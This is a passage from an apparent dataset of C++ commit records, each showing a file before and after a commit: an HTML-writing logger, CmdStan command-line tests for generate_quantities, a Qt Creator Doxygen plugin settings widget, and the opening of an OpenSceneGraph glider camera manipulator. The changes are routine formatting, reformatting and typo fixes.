LOG_INFO);\n}\n\n\nvoid Logger::fatal(const string& tag, const string& msg) {\n\tif ((nivelDeLog & LOG_FATAL) == 0)\n\t\treturn;\n\tlog(tag, msg, LOG_FATAL);\n}\n\nvoid Logger::log(const string& tag, const string& msg, int level) {\n\tlock->tomarLock();\n\tstruct tm *p_local_t;\n\ttime_t t = time(NULL);\n\tp_local_t = localtime(&t);\n\n\tstring sNivel(\"[INFO]\\t\");\n\tswitch (level) {\n\tcase LOG_FATAL:\n\t\tsNivel = \"[FATAL]\\t\";\n\t\tbreak;\n\tcase LOG_ERROR:\n\t\tsNivel = \"[ERROR]\\t\";\n\t\tbreak;\n\tcase LOG_WARN:\n\t\tsNivel = \"[WARN]\\t\";\n\t\tbreak;\n\tcase LOG_INFO:\n\t\tsNivel = \"[INFO]\\t\";\n\t\tbreak;\n\tcase LOG_DEBUG:\n\t\tsNivel = \"[DEBUG]\\t\";\n\t\tbreak;\n\tdefault:\n\t\tbreak;\n\t}\n\tstd::stringstream str;\n\tstr << \"[\" << p_local_t->tm_mday << \"-\" << 1 + p_local_t->tm_mon\n\t\t\t<< \"-\" << 1900 + p_local_t->tm_year << \" \" \n\t\t\t<< p_local_t->tm_hour << \":\" << p_local_t->tm_min \n\t\t\t<< \":\" << p_local_t->tm_sec << \"]\";\n\tstd::string fecha;\n\tstr >> fecha;\n\tprintMessageFormatted(fecha, sNivel, tag, msg);\n\tarchivoLog.flush();\n\tlock->liberarLock();\n}\n\nvoid Logger::clear() {\n\tlock->tomarLock();\n\tstring timeStamp = \"output.html\";\n\tarchivoLog.close();\n\tarchivoLog.open(timeStamp.c_str());\n\tprintHeader();\n\tlock->liberarLock();\n}\n\nvoid Logger::setLogLevel(int nivelLog){\n\tlock->tomarLock();\n\tnivelDeLog = nivelLog;\n\tlock->liberarLock();\n}\n\nvoid Logger::printHeader() {\n\tarchivoLog << \"<table id=\\\"table1\\\" class=\\\"mytable\\\" cellspacing=\\\"2\\\" cellpadding=\\\"2\\\" >\" << std::endl;\n\tarchivoLog << \"<tr><th>Fecha y hora<\/th><th>Tipo<\/th><th>Lugar del mensaje<\/th><th>Mensaje<\/th><\/tr>\" << std::endl;\n}\n\nvoid Logger::printMessageFormatted(const std::string& fecha, const std::string& level,\n\t\tconst std::string& tag, const std::string& message) {\n\tarchivoLog << \"<tr>\" << std::endl;\n\tarchivoLog << \"<td>\" << fecha << \"<\/td>\"<<std::endl;\n\tarchivoLog << \"<td>\" << level << \"<\/td>\"<<std::endl;\n\tarchivoLog << \"<td>\" << tag << \"<\/td>\" <<std::endl;\n\tarchivoLog << \"<td>\" << message << \"<\/td>\" <<std::endl;\n\tarchivoLog << \"<\/tr>\" << std::endl;\n}\n<commit_msg>logger html<commit_after>#include \"Logger.h\"\n#include <sstream>\n#include <sys\/types.h>\n#include <sys\/stat.h>\n#include <unistd.h>\n\n\nLogger* Logger::logger_instance = NULL;\n\nLogger::Logger(): nivelDeLog(LOG_DEBUG) {\n\tstring timeStamp = \"output.html\";\n\tstruct stat buffer;\n\tif (stat(timeStamp.c_str(), &buffer)) {\n\t\tarchivoLog.open( timeStamp.c_str() );\n\t\tarchivoLog << \" Fecha y hora\\t\\t\" << \" Tipo\\t\\t\" << \"Lugar del mensaje\\t\\t\\t\" << \"Mensaje\" << endl ;\n\t} else {\n\t\tarchivoLog.open(timeStamp.c_str(), std::ofstream::app);\n\t}\n\tlock = new LockFile(timeStamp.c_str());\n}\n\nLogger& Logger::instance() {\n\tif (!logger_instance) {\n\t\tlogger_instance = new Logger();\n\t}\n\treturn *logger_instance;\n}\n\nvoid Logger::close() {\n\tif (logger_instance)\n\t\tdelete logger_instance;\n\tlogger_instance = NULL;\n}\n\nLogger::~Logger() {\n\tdelete lock;\n}\n\nvoid Logger::warn(const string& tag, const string& msg){\n\tif ((nivelDeLog & LOG_WARN) == 0)\n\t\treturn;\n\n\tlog(tag, msg, LOG_WARN);\n}\n\nvoid Logger::error(const string& tag, const string& msg) {\n\tif ((nivelDeLog & LOG_ERROR) == 0)\n\t\treturn;\n\n\tlog(tag, msg, LOG_ERROR);\n}\n\nvoid Logger::debug(const string& tag, const string& msg) {\n\tif (nivelDeLog != LOG_DEBUG)\n\t\treturn;\n\tlog(tag, msg, LOG_DEBUG);\n}\n\nvoid Logger::info(const string& tag, const string& msg) {\n\tif ((nivelDeLog & LOG_INFO) == 0)\n\t\treturn;\t\n\t\n\tlog(tag, msg, LOG_INFO);\n}\n\n\nvoid Logger::fatal(const string& tag, const string& msg) {\n\tif ((nivelDeLog & LOG_FATAL) == 0)\n\t\treturn;\n\tlog(tag, msg, LOG_FATAL);\n}\n\nvoid Logger::log(const string& tag, const string& msg, int level) {\n\tlock->tomarLock();\n\tstruct tm *p_local_t;\n\ttime_t t = time(NULL);\n\tp_local_t = localtime(&t);\n\n\tstring sNivel(\"[INFO]\\t\");\n\tswitch (level) {\n\tcase LOG_FATAL:\n\t\tsNivel = \"[FATAL]\\t\";\n\t\tbreak;\n\tcase LOG_ERROR:\n\t\tsNivel = \"[ERROR]\\t\";\n\t\tbreak;\n\tcase LOG_WARN:\n\t\tsNivel = \"[WARN]\\t\";\n\t\tbreak;\n\tcase LOG_INFO:\n\t\tsNivel = \"[INFO]\\t\";\n\t\tbreak;\n\tcase LOG_DEBUG:\n\t\tsNivel = \"[DEBUG]\\t\";\n\t\tbreak;\n\tdefault:\n\t\tbreak;\n\t}\n\tstd::stringstream str;\n\tstr << p_local_t->tm_mday << \"-\" << 1 + p_local_t->tm_mon\n\t\t\t<< \"-\" << 1900 + p_local_t->tm_year << \" \" \n\t\t\t<< p_local_t->tm_hour << \":\" << p_local_t->tm_min \n\t\t\t<< \":\" << p_local_t->tm_sec << \"]\";\n\tstd::string fecha;\n\tstr >> fecha;\n\tprintMessageFormatted(fecha, sNivel, tag, msg);\n\tarchivoLog.flush();\n\tlock->liberarLock();\n}\n\nvoid Logger::clear() {\n\tlock->tomarLock();\n\tstring timeStamp = \"output.html\";\n\tarchivoLog.close();\n\tarchivoLog.open(timeStamp.c_str());\n\tprintHeader();\n\tlock->liberarLock();\n}\n\nvoid Logger::setLogLevel(int nivelLog){\n\tlock->tomarLock();\n\tnivelDeLog = nivelLog;\n\tlock->liberarLock();\n}\n\nvoid Logger::printHeader() {\n\tarchivoLog << \"<table id=\\\"table1\\\" class=\\\"mytable\\\" cellspacing=\\\"2\\\" cellpadding=\\\"10\\\" >\" << std::endl;\n\tarchivoLog << \"<tr><th>Fecha y hora<\/th><th>Tipo<\/th><th>Lugar del mensaje<\/th><th align=\\\"left\\\">Mensaje<\/th><\/tr>\" << std::endl;\n}\n\nvoid Logger::printMessageFormatted(const std::string& fecha, const std::string& level,\n\t\tconst std::string& tag, const std::string& message) {\n\tarchivoLog << \"<tr>\" << std::endl;\n\tarchivoLog << \"<td>\" << fecha << \"<\/td>\"<<std::endl;\n\tarchivoLog << \"<td>\" << level << \"<\/td>\"<<std::endl;\n\tarchivoLog << \"<td>\" << tag << \"<\/td>\" <<std::endl;\n\tarchivoLog << \"<td>\" << message << \"<\/td>\" <<std::endl;\n\tarchivoLog << \"<\/tr>\" << std::endl;\n}\n<|endoftext|>"} {"text":"<commit_before>#include <test\/utility.hpp>\n#include <gtest\/gtest.h>\n#include <fstream>\n#include <string>\n#include <stdexcept>\n\nusing cmdstan::test::convert_model_path;\nusing cmdstan::test::multiple_command_separator;\nusing cmdstan::test::run_command;\nusing cmdstan::test::run_command_output;\n\nclass CmdStan : public testing::Test {\n public:\n void SetUp() {\n model_path = {\"src\", \"test\", \"test-models\", \"gq_model\"};\n data_file_path = {\"src\", \"test\", \"test-models\", \"gq_model.data.json\"};\n model_path_2 = {\"src\", \"test\", \"test-models\", \"test_model\"};\n model_path_non_scalar_gq = {\"src\", \"test\", \"test-models\", \"gq_non_scalar\"};\n output_file_path = {\"\/dev\", \"null\"};\n fitted_params_file_path\n = {\"src\", \"test\", \"test-models\", \"gq_model_output.csv\"};\n fitted_params_file_path_2\n = {\"src\", \"test\", \"test-models\", \"test_model_output.csv\"};\n fitted_params_file_path_empty = {\"src\", \"test\", \"test-models\", \"empty.csv\"};\n fitted_params_non_scalar_gq\n = {\"src\", \"test\", \"test-models\", \"gq_non_scalar.csv\"};\n default_file_path = {\"src\", \"test\", \"test-models\", \"output.csv\"};\n }\n\n std::vector<std::string> model_path;\n std::vector<std::string> data_file_path;\n std::vector<std::string> model_path_2;\n std::vector<std::string> model_path_non_scalar_gq;\n std::vector<std::string> output_file_path;\n std::vector<std::string> fitted_params_file_path;\n std::vector<std::string> fitted_params_file_path_2;\n std::vector<std::string> fitted_params_file_path_empty;\n std::vector<std::string> fitted_params_non_scalar_gq;\n std::vector<std::string> default_file_path;\n};\n\nTEST_F(CmdStan, generate_quantities_good) {\n std::stringstream ss;\n ss << convert_model_path(model_path)\n << \" data file=\" << convert_model_path(data_file_path)\n << \" output file=\" << convert_model_path(output_file_path)\n << \" method=generate_quantities fitted_params=\"\n << convert_model_path(fitted_params_file_path);\n std::string cmd = ss.str();\n run_command_output out = run_command(cmd);\n ASSERT_FALSE(out.hasError);\n}\n\nTEST_F(CmdStan, generate_quantities_non_scalar_good) {\n std::stringstream ss;\n ss << convert_model_path(model_path_non_scalar_gq)\n << \" output file=\" << convert_model_path(output_file_path)\n << \" method=generate_quantities fitted_params=\"\n << convert_model_path(fitted_params_non_scalar_gq);\n std::string cmd = ss.str();\n run_command_output out = run_command(cmd);\n ASSERT_FALSE(out.hasError);\n}\n\nTEST_F(CmdStan, generate_quantities_bad_nodata) {\n std::stringstream ss;\n ss << convert_model_path(model_path)\n << \" output file=\" << convert_model_path(output_file_path)\n << \" method=generate_quantities fitted_params=\"\n << convert_model_path(fitted_params_file_path_empty) << \" 2>&1\";\n std::string cmd = ss.str();\n run_command_output out = run_command(cmd);\n ASSERT_TRUE(out.hasError);\n}\n\nTEST_F(CmdStan, generate_quantities_bad_no_gqs) {\n std::stringstream ss;\n ss << convert_model_path(model_path_2)\n << \" output file=\" << convert_model_path(output_file_path)\n << \" method=generate_quantities \"\n << \" fitted_params=\" << convert_model_path(fitted_params_file_path_2)\n << \" 2>&1\";\n std::string cmd = ss.str();\n run_command_output out = run_command(cmd);\n ASSERT_TRUE(out.hasError);\n}\n\nTEST_F(CmdStan, generate_quantities_wrong_csv) {\n std::stringstream ss;\n ss << convert_model_path(model_path)\n << \" data file=\" << convert_model_path(data_file_path)\n << \" output file=\" << convert_model_path(output_file_path)\n << \" method=generate_quantities fitted_params=\"\n << convert_model_path(fitted_params_file_path_2) << \" 2>&1\";\n std::string cmd = ss.str();\n run_command_output out = run_command(cmd);\n ASSERT_TRUE(out.hasError);\n}\n\nTEST_F(CmdStan, generate_quantities_wrong_csv_2) {\n std::stringstream ss;\n ss << convert_model_path(model_path_2)\n << \" data file=\" << convert_model_path(data_file_path)\n << \" output file=\" << convert_model_path(output_file_path)\n << \" method=generate_quantities fitted_params=\"\n << convert_model_path(fitted_params_file_path) << \" 2>&1\";\n std::string cmd = ss.str();\n run_command_output out = run_command(cmd);\n ASSERT_TRUE(out.hasError);\n}\n\nTEST_F(CmdStan, generate_quantities_csv_conflict) {\n std::stringstream ss;\n ss << convert_model_path(model_path)\n << \" data file=\" << convert_model_path(data_file_path)\n << \" output file=\" << convert_model_path(default_file_path)\n << \" method=generate_quantities fitted_params=\"\n << convert_model_path(default_file_path); \/\/ << \" 2>&1\";\n std::string cmd = ss.str();\n run_command_output out = run_command(cmd);\n ASSERT_TRUE(out.hasError);\n}\n<commit_msg>[Jenkins] auto-formatting by clang-format version 6.0.0-1ubuntu2 (tags\/RELEASE_600\/final)<commit_after>#include <test\/utility.hpp>\n#include <gtest\/gtest.h>\n#include <fstream>\n#include <string>\n#include <stdexcept>\n\nusing cmdstan::test::convert_model_path;\nusing cmdstan::test::multiple_command_separator;\nusing cmdstan::test::run_command;\nusing cmdstan::test::run_command_output;\n\nclass CmdStan : public testing::Test {\n public:\n void SetUp() {\n model_path = {\"src\", \"test\", \"test-models\", \"gq_model\"};\n data_file_path = {\"src\", \"test\", \"test-models\", \"gq_model.data.json\"};\n model_path_2 = {\"src\", \"test\", \"test-models\", \"test_model\"};\n model_path_non_scalar_gq = {\"src\", \"test\", \"test-models\", \"gq_non_scalar\"};\n output_file_path = {\"\/dev\", \"null\"};\n fitted_params_file_path\n = {\"src\", \"test\", \"test-models\", \"gq_model_output.csv\"};\n fitted_params_file_path_2\n = {\"src\", \"test\", \"test-models\", \"test_model_output.csv\"};\n fitted_params_file_path_empty = {\"src\", \"test\", \"test-models\", \"empty.csv\"};\n fitted_params_non_scalar_gq\n = {\"src\", \"test\", \"test-models\", \"gq_non_scalar.csv\"};\n default_file_path = {\"src\", \"test\", \"test-models\", \"output.csv\"};\n }\n\n std::vector<std::string> model_path;\n std::vector<std::string> data_file_path;\n std::vector<std::string> model_path_2;\n std::vector<std::string> model_path_non_scalar_gq;\n std::vector<std::string> output_file_path;\n std::vector<std::string> fitted_params_file_path;\n std::vector<std::string> fitted_params_file_path_2;\n std::vector<std::string> fitted_params_file_path_empty;\n std::vector<std::string> fitted_params_non_scalar_gq;\n std::vector<std::string> default_file_path;\n};\n\nTEST_F(CmdStan, generate_quantities_good) {\n std::stringstream ss;\n ss << convert_model_path(model_path)\n << \" data file=\" << convert_model_path(data_file_path)\n << \" output file=\" << convert_model_path(output_file_path)\n << \" method=generate_quantities fitted_params=\"\n << convert_model_path(fitted_params_file_path);\n std::string cmd = ss.str();\n run_command_output out = run_command(cmd);\n ASSERT_FALSE(out.hasError);\n}\n\nTEST_F(CmdStan, generate_quantities_non_scalar_good) {\n std::stringstream ss;\n ss << convert_model_path(model_path_non_scalar_gq)\n << \" output file=\" << convert_model_path(output_file_path)\n << \" method=generate_quantities fitted_params=\"\n << convert_model_path(fitted_params_non_scalar_gq);\n std::string cmd = ss.str();\n run_command_output out = run_command(cmd);\n ASSERT_FALSE(out.hasError);\n}\n\nTEST_F(CmdStan, generate_quantities_bad_nodata) {\n std::stringstream ss;\n ss << convert_model_path(model_path)\n << \" output file=\" << convert_model_path(output_file_path)\n << \" method=generate_quantities fitted_params=\"\n << convert_model_path(fitted_params_file_path_empty) << \" 2>&1\";\n std::string cmd = ss.str();\n run_command_output out = run_command(cmd);\n ASSERT_TRUE(out.hasError);\n}\n\nTEST_F(CmdStan, generate_quantities_bad_no_gqs) {\n std::stringstream ss;\n ss << convert_model_path(model_path_2)\n << \" output file=\" << convert_model_path(output_file_path)\n << \" method=generate_quantities \"\n << \" fitted_params=\" << convert_model_path(fitted_params_file_path_2)\n << \" 2>&1\";\n std::string cmd = ss.str();\n run_command_output out = run_command(cmd);\n ASSERT_TRUE(out.hasError);\n}\n\nTEST_F(CmdStan, generate_quantities_wrong_csv) {\n std::stringstream ss;\n ss << convert_model_path(model_path)\n << \" data file=\" << convert_model_path(data_file_path)\n << \" output file=\" << convert_model_path(output_file_path)\n << \" method=generate_quantities fitted_params=\"\n << convert_model_path(fitted_params_file_path_2) << \" 2>&1\";\n std::string cmd = ss.str();\n run_command_output out = run_command(cmd);\n ASSERT_TRUE(out.hasError);\n}\n\nTEST_F(CmdStan, generate_quantities_wrong_csv_2) {\n std::stringstream ss;\n ss << convert_model_path(model_path_2)\n << \" data file=\" << convert_model_path(data_file_path)\n << \" output file=\" << convert_model_path(output_file_path)\n << \" method=generate_quantities fitted_params=\"\n << convert_model_path(fitted_params_file_path) << \" 2>&1\";\n std::string cmd = ss.str();\n run_command_output out = run_command(cmd);\n ASSERT_TRUE(out.hasError);\n}\n\nTEST_F(CmdStan, generate_quantities_csv_conflict) {\n std::stringstream ss;\n ss << convert_model_path(model_path)\n << \" data file=\" << convert_model_path(data_file_path)\n << \" output file=\" << convert_model_path(default_file_path)\n << \" method=generate_quantities fitted_params=\"\n << convert_model_path(default_file_path); \/\/ << \" 2>&1\";\n std::string cmd = ss.str();\n run_command_output out = run_command(cmd);\n ASSERT_TRUE(out.hasError);\n}\n<|endoftext|>"} {"text":"<commit_before>\/**************************************************************************\n**\n** This file is part of Doxygen plugin for Qt Creator\n**\n** Copyright (c) 2009 Kevin Tanguy (kofee@kofee.org).\n** Copyright (c) 2015 Fabien Poussin (fabien.poussin@gmail.com).\n**\n** This plugin is free software: you can redistribute it and\/or modify\n** it under the terms of the GNU Lesser General Public License as\n** published by the Free Software Foundation, either version 2.1\n** of the License, or (at your option) any later version.\n**\n** This plugin is distributed in the hope that it will be useful,\n** but WITHOUT ANY WARRANTY; without even the implied warranty of\n** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n** GNU Lesser General Public License for more details.\n**\n** You should have received a copy of the GNU General Public License\n** along with Doxygen Plugin. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n**\/\n\n#include \"doxygensettingswidget.h\"\n#include \"ui_doxygensettingswidget.h\"\n\nDoxygenSettingsWidget::DoxygenSettingsWidget(QWidget* parent)\n : QWidget(parent)\n , ui(new Ui::DoxygenSettingsWidget)\n{\n ui->setupUi(this);\n ui->pathChooser_doxygen->setExpectedKind(Utils::PathChooser::Command);\n ui->pathChooser_doxygen->setPromptDialogTitle(tr(\"Doxygen Command\"));\n ui->pathChooser_wizard->setExpectedKind(Utils::PathChooser::Command);\n ui->pathChooser_wizard->setPromptDialogTitle(tr(\"DoxyWizard Command\"));\n \/\/ Why do I *have* to call processEvents() to get my QComboBox display the right value?!\n qApp->processEvents();\n connect(ui->styleChooser, SIGNAL(currentIndexChanged(int)), this, SLOT(updateCustomWidgetPart(int)));\n}\n\nDoxygenSettingsWidget::~DoxygenSettingsWidget()\n{\n delete ui;\n}\n\nvoid DoxygenSettingsWidget::changeEvent(QEvent* e)\n{\n QWidget::changeEvent(e);\n switch (e->type()) {\n case QEvent::LanguageChange:\n ui->retranslateUi(this);\n break;\n default:\n break;\n }\n}\n\nDoxygenSettingsStruct DoxygenSettingsWidget::settings() const\n{\n DoxygenSettingsStruct rc;\n rc.doxygenCommand = ui->pathChooser_doxygen->path();\n rc.doxyfileFileName = ui->edit_doxyfileName->text();\n rc.doxywizardCommand = ui->pathChooser_wizard->path();\n rc.style = DoxygenStyle(ui->styleChooser->currentIndex());\n rc.fcomment = Files2Comment(ui->fcommentChooser->currentIndex());\n rc.printBrief = ui->printBriefTag->isChecked();\n rc.shortVarDoc = ui->shortVariableDoc->isChecked();\n rc.verbosePrinting = ui->verbosePrinting->isChecked();\n rc.customBegin = QString(ui->edit_beginTag->text()).replace(\"\\\\n\", \"\\n\");\n rc.customBrief = QString(ui->edit_briefTag->text()).replace(\"\\\\n\", \"\\n\");\n rc.customEmptyLine = QString(ui->edit_emptyLineTag->text()).replace(\"\\\\n\", \"\\n\");\n rc.customEnding = QString(ui->edit_endTag->text()).replace(\"\\\\n\", \"\\n\");\n rc.customNewLine = QString(ui->edit_newLine->text()).replace(\"\\\\n\", \"\\n\");\n rc.customShortDoc = QString(ui->edit_shortTag->text()).replace(\"\\\\n\", \"\\n\");\n rc.customShortDocEnd = QString(ui->edit_shortTagEnd->text()).replace(\"\\\\\\n\", \"\\n\");\n rc.fileComment = ui->fileCommentText->toPlainText();\n rc.fileCommentHeaders = ui->commentHeaderFiles->isChecked();\n rc.fileCommentImpl = ui->commentImplementationFiles->isChecked();\n rc.fileCommentsEnabled = ui->fileComments->isChecked();\n rc.automaticReturnType = ui->autoAddReturnTypes->isChecked();\n return rc;\n}\n\nvoid DoxygenSettingsWidget::setSettings(const DoxygenSettingsStruct& s)\n{\n ui->pathChooser_doxygen->setPath(s.doxygenCommand);\n ui->pathChooser_wizard->setPath(s.doxywizardCommand);\n ui->edit_doxyfileName->setText(s.doxyfileFileName);\n ui->styleChooser->setCurrentIndex(s.style);\n ui->fcommentChooser->setCurrentIndex(s.fcomment);\n ui->printBriefTag->setChecked(s.printBrief);\n ui->shortVariableDoc->setChecked(s.shortVarDoc);\n ui->verbosePrinting->setChecked(s.verbosePrinting);\n ui->edit_beginTag->setText(QString(s.customBegin).replace(\"\\n\", \"\\\\n\"));\n ui->edit_briefTag->setText(QString(s.customBrief).replace(\"\\n\", \"\\\\n\"));\n ui->edit_emptyLineTag->setText(QString(s.customEmptyLine).replace(\"\\n\", \"\\\\n\"));\n ui->edit_endTag->setText(QString(s.customEnding).replace(\"\\n\", \"\\\\n\"));\n ui->edit_newLine->setText(QString(s.customNewLine).replace(\"\\n\", \"\\\\n\"));\n ui->edit_shortTag->setText(QString(s.customShortDoc).replace(\"\\n\", \"\\\\n\"));\n ui->edit_shortTagEnd->setText(QString(s.customShortDocEnd).replace(\"\\n\", \"\\\\n\"));\n ui->fileCommentText->setPlainText(s.fileComment);\n ui->fileComments->setChecked(s.fileCommentsEnabled);\n ui->commentHeaderFiles->setChecked(s.fileCommentHeaders);\n ui->commentImplementationFiles->setChecked(s.fileCommentImpl);\n ui->autoAddReturnTypes->setChecked(s.automaticReturnType);\n\n updateCustomWidgetPart(s.style);\n on_fileComments_clicked(s.fileCommentsEnabled);\n}\n\nvoid DoxygenSettingsWidget::updateCustomWidgetPart(int index)\n{\n ui->customCommentsSettings->setEnabled(index == customDoc);\n}\n\nvoid DoxygenSettingsWidget::on_fileComments_clicked(bool checked)\n{\n Files2Comment toComment = Files2Comment(ui->fcommentChooser->currentIndex());\n ui->fileCommentText->setEnabled(checked);\n if (checked == false || toComment == all) {\n checked = false;\n ui->label_filecommentHeaders->setVisible(checked);\n ui->label_filecommentImpl->setVisible(checked);\n ui->commentHeaderFiles->setVisible(checked);\n ui->commentImplementationFiles->setVisible(checked);\n } else if (toComment == headers) {\n ui->label_filecommentHeaders->setVisible(false);\n ui->label_filecommentImpl->setVisible(true);\n\n ui->commentHeaderFiles->setVisible(false);\n ui->commentImplementationFiles->setVisible(true);\n } else if (toComment == implementations) {\n ui->label_filecommentHeaders->setVisible(true);\n ui->label_filecommentImpl->setVisible(false);\n ui->commentHeaderFiles->setVisible(true);\n ui->commentImplementationFiles->setVisible(false);\n }\n}\n\nvoid DoxygenSettingsWidget::on_fcommentChooser_currentIndexChanged(int index)\n{\n Q_UNUSED(index)\n on_fileComments_clicked(ui->fileComments->isChecked());\n}\n<commit_msg>fixed typo in rc.customShortDocEnd definition<commit_after>\/**************************************************************************\n**\n** This file is part of Doxygen plugin for Qt Creator\n**\n** Copyright (c) 2009 Kevin Tanguy (kofee@kofee.org).\n** Copyright (c) 2015 Fabien Poussin (fabien.poussin@gmail.com).\n**\n** This plugin is free software: you can redistribute it and\/or modify\n** it under the terms of the GNU Lesser General Public License as\n** published by the Free Software Foundation, either version 2.1\n** of the License, or (at your option) any later version.\n**\n** This plugin is distributed in the hope that it will be useful,\n** but WITHOUT ANY WARRANTY; without even the implied warranty of\n** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n** GNU Lesser General Public License for more details.\n**\n** You should have received a copy of the GNU General Public License\n** along with Doxygen Plugin. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n**\/\n\n#include \"doxygensettingswidget.h\"\n#include \"ui_doxygensettingswidget.h\"\n\nDoxygenSettingsWidget::DoxygenSettingsWidget(QWidget* parent)\n : QWidget(parent)\n , ui(new Ui::DoxygenSettingsWidget)\n{\n ui->setupUi(this);\n ui->pathChooser_doxygen->setExpectedKind(Utils::PathChooser::Command);\n ui->pathChooser_doxygen->setPromptDialogTitle(tr(\"Doxygen Command\"));\n ui->pathChooser_wizard->setExpectedKind(Utils::PathChooser::Command);\n ui->pathChooser_wizard->setPromptDialogTitle(tr(\"DoxyWizard Command\"));\n \/\/ Why do I *have* to call processEvents() to get my QComboBox display the right value?!\n qApp->processEvents();\n connect(ui->styleChooser, SIGNAL(currentIndexChanged(int)), this, SLOT(updateCustomWidgetPart(int)));\n}\n\nDoxygenSettingsWidget::~DoxygenSettingsWidget()\n{\n delete ui;\n}\n\nvoid DoxygenSettingsWidget::changeEvent(QEvent* e)\n{\n QWidget::changeEvent(e);\n switch (e->type()) {\n case QEvent::LanguageChange:\n ui->retranslateUi(this);\n break;\n default:\n break;\n }\n}\n\nDoxygenSettingsStruct DoxygenSettingsWidget::settings() const\n{\n DoxygenSettingsStruct rc;\n rc.doxygenCommand = ui->pathChooser_doxygen->path();\n rc.doxyfileFileName = ui->edit_doxyfileName->text();\n rc.doxywizardCommand = ui->pathChooser_wizard->path();\n rc.style = DoxygenStyle(ui->styleChooser->currentIndex());\n rc.fcomment = Files2Comment(ui->fcommentChooser->currentIndex());\n rc.printBrief = ui->printBriefTag->isChecked();\n rc.shortVarDoc = ui->shortVariableDoc->isChecked();\n rc.verbosePrinting = ui->verbosePrinting->isChecked();\n rc.customBegin = QString(ui->edit_beginTag->text()).replace(\"\\\\n\", \"\\n\");\n rc.customBrief = QString(ui->edit_briefTag->text()).replace(\"\\\\n\", \"\\n\");\n rc.customEmptyLine = QString(ui->edit_emptyLineTag->text()).replace(\"\\\\n\", \"\\n\");\n rc.customEnding = QString(ui->edit_endTag->text()).replace(\"\\\\n\", \"\\n\");\n rc.customNewLine = QString(ui->edit_newLine->text()).replace(\"\\\\n\", \"\\n\");\n rc.customShortDoc = QString(ui->edit_shortTag->text()).replace(\"\\\\n\", \"\\n\");\n rc.customShortDocEnd = QString(ui->edit_shortTagEnd->text()).replace(\"\\\\n\", \"\\n\");\n rc.fileComment = ui->fileCommentText->toPlainText();\n rc.fileCommentHeaders = ui->commentHeaderFiles->isChecked();\n rc.fileCommentImpl = ui->commentImplementationFiles->isChecked();\n rc.fileCommentsEnabled = ui->fileComments->isChecked();\n rc.automaticReturnType = ui->autoAddReturnTypes->isChecked();\n return rc;\n}\n\nvoid DoxygenSettingsWidget::setSettings(const DoxygenSettingsStruct& s)\n{\n ui->pathChooser_doxygen->setPath(s.doxygenCommand);\n ui->pathChooser_wizard->setPath(s.doxywizardCommand);\n ui->edit_doxyfileName->setText(s.doxyfileFileName);\n ui->styleChooser->setCurrentIndex(s.style);\n ui->fcommentChooser->setCurrentIndex(s.fcomment);\n ui->printBriefTag->setChecked(s.printBrief);\n ui->shortVariableDoc->setChecked(s.shortVarDoc);\n ui->verbosePrinting->setChecked(s.verbosePrinting);\n ui->edit_beginTag->setText(QString(s.customBegin).replace(\"\\n\", \"\\\\n\"));\n ui->edit_briefTag->setText(QString(s.customBrief).replace(\"\\n\", \"\\\\n\"));\n ui->edit_emptyLineTag->setText(QString(s.customEmptyLine).replace(\"\\n\", \"\\\\n\"));\n ui->edit_endTag->setText(QString(s.customEnding).replace(\"\\n\", \"\\\\n\"));\n ui->edit_newLine->setText(QString(s.customNewLine).replace(\"\\n\", \"\\\\n\"));\n ui->edit_shortTag->setText(QString(s.customShortDoc).replace(\"\\n\", \"\\\\n\"));\n ui->edit_shortTagEnd->setText(QString(s.customShortDocEnd).replace(\"\\n\", \"\\\\n\"));\n ui->fileCommentText->setPlainText(s.fileComment);\n ui->fileComments->setChecked(s.fileCommentsEnabled);\n ui->commentHeaderFiles->setChecked(s.fileCommentHeaders);\n ui->commentImplementationFiles->setChecked(s.fileCommentImpl);\n ui->autoAddReturnTypes->setChecked(s.automaticReturnType);\n\n updateCustomWidgetPart(s.style);\n on_fileComments_clicked(s.fileCommentsEnabled);\n}\n\nvoid DoxygenSettingsWidget::updateCustomWidgetPart(int index)\n{\n ui->customCommentsSettings->setEnabled(index == customDoc);\n}\n\nvoid DoxygenSettingsWidget::on_fileComments_clicked(bool checked)\n{\n Files2Comment toComment = Files2Comment(ui->fcommentChooser->currentIndex());\n ui->fileCommentText->setEnabled(checked);\n if (checked == false || toComment == all) {\n checked = false;\n ui->label_filecommentHeaders->setVisible(checked);\n ui->label_filecommentImpl->setVisible(checked);\n ui->commentHeaderFiles->setVisible(checked);\n ui->commentImplementationFiles->setVisible(checked);\n } else if (toComment == headers) {\n ui->label_filecommentHeaders->setVisible(false);\n ui->label_filecommentImpl->setVisible(true);\n\n ui->commentHeaderFiles->setVisible(false);\n ui->commentImplementationFiles->setVisible(true);\n } else if (toComment == implementations) {\n ui->label_filecommentHeaders->setVisible(true);\n ui->label_filecommentImpl->setVisible(false);\n ui->commentHeaderFiles->setVisible(true);\n ui->commentImplementationFiles->setVisible(false);\n }\n}\n\nvoid DoxygenSettingsWidget::on_fcommentChooser_currentIndexChanged(int index)\n{\n Q_UNUSED(index)\n on_fileComments_clicked(ui->fileComments->isChecked());\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"GliderManipulator.h\"\n#include <osg\/Notify>\n\nusing namespace osg;\nusing namespace osgGA;\n\nGliderManipulator::GliderManipulator()\n{\n _modelScale = 0.01f;\n _velocity = 0.0f;\n _yawMode = YAW_AUTOMATICALLY_WHEN_BANKED;\n\n _distance = 1.0f;\n}\n\n\nGliderManipulator::~GliderManipulator()\n{\n}\n\n\nvoid GliderManipulator::setNode(osg::Node* node)\n{\n _node = node;\n if (_node.get())\n {\n const osg::BoundingSphere& boundingSphere=_node->getBound();\n _modelScale = boundingSphere._radius;\n }\n}\n\n\nconst osg::Node* GliderManipulator::getNode() const\n{\n return _node.get();\n}\n\n\n\nosg::Node* GliderManipulator::getNode()\n{\n return _node.get();\n}\n\nvoid GliderManipulator::home(const GUIEventAdapter& ea,GUIActionAdapter& us)\n{\n if(_node.get())\n {\n\n const osg::BoundingSphere& boundingSphere=_node->getBound();\n\n osg::Vec3 eye = boundingSphere._center+osg::Vec3(-boundingSphere._radius*0.25f,-boundingSphere._radius*0.25f,-boundingSphere._radius*0.03f);\n\n computePosition(eye,\n osg::Vec3(1.0f,1.0f,-0.1f),\n osg::Vec3(0.0f,0.0f,1.0f));\n\n _velocity = boundingSphere._radius*0.01f;\n\n us.requestRedraw();\n\n 